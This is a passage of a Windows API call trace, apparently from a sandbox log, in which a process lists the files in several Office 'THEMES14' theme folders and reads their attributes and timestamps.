	[0050.722] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1264dd18 | out: lpFileInformation=0x1264dd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a)) returned 1
	[0050.722] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin"), fInfoLevelId=0x0, lpFileInformation=0x1264dd68 | out: lpFileInformation=0x1264dd68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.722] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.722] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.722] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.722] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0050.723] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfd200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bfd200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1936f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.ELM", cAlternateFileName="")) returned 1
	[0050.723] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.INF", cAlternateFileName="")) returned 1
	[0050.723] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0050.723] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.723] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.723] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1264def8 | out: lpFileInformation=0x1264def8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b)) returned 1
	[0050.723] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), fInfoLevelId=0x0, lpFileInformation=0x1264df48 | out: lpFileInformation=0x1264df48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfd200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bfd200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1936f)) returned 1
	[0050.724] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), fInfoLevelId=0x0, lpFileInformation=0x1264df98 | out: lpFileInformation=0x1264df98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c8)) returned 1
	[0050.724] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1270a008 | out: lpFileInformation=0x1270a008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573)) returned 1
	[0050.724] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky"), fInfoLevelId=0x0, lpFileInformation=0x1270a058 | out: lpFileInformation=0x1270a058*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.725] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.725] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.725] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0050.725] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ff00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25f0ff00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1413d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.ELM", cAlternateFileName="")) returned 1
	[0050.725] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.INF", cAlternateFileName="")) returned 1
	[0050.725] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0050.725] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.725] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.726] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1270a1e8 | out: lpFileInformation=0x1270a1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9)) returned 1
	[0050.726] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), fInfoLevelId=0x0, lpFileInformation=0x1270a238 | out: lpFileInformation=0x1270a238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ff00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25f0ff00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1413d)) returned 1
	[0050.726] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), fInfoLevelId=0x0, lpFileInformation=0x1270a288 | out: lpFileInformation=0x1270a288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1bc)) returned 1
	[0050.727] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1270a2d8 | out: lpFileInformation=0x1270a2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279)) returned 1
	[0050.727] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate"), fInfoLevelId=0x0, lpFileInformation=0x1270a328 | out: lpFileInformation=0x1270a328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.727] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.728] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.728] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0050.728] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27222c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27222c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.ELM", cAlternateFileName="")) returned 1
	[0050.728] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.INF", cAlternateFileName="")) returned 1
	[0050.728] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0050.728] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.728] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.728] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1270a4b8 | out: lpFileInformation=0x1270a4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1)) returned 1
	[0050.729] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), fInfoLevelId=0x0, lpFileInformation=0x1270a508 | out: lpFileInformation=0x1270a508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27222c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27222c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14c40)) returned 1
	[0050.729] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), fInfoLevelId=0x0, lpFileInformation=0x1270a558 | out: lpFileInformation=0x1270a558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4)) returned 1
	[0050.729] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1270a5a8 | out: lpFileInformation=0x1270a5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29)) returned 1
	[0050.730] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora"), fInfoLevelId=0x0, lpFileInformation=0x1270a5f8 | out: lpFileInformation=0x1270a5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.730] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.731] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.731] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
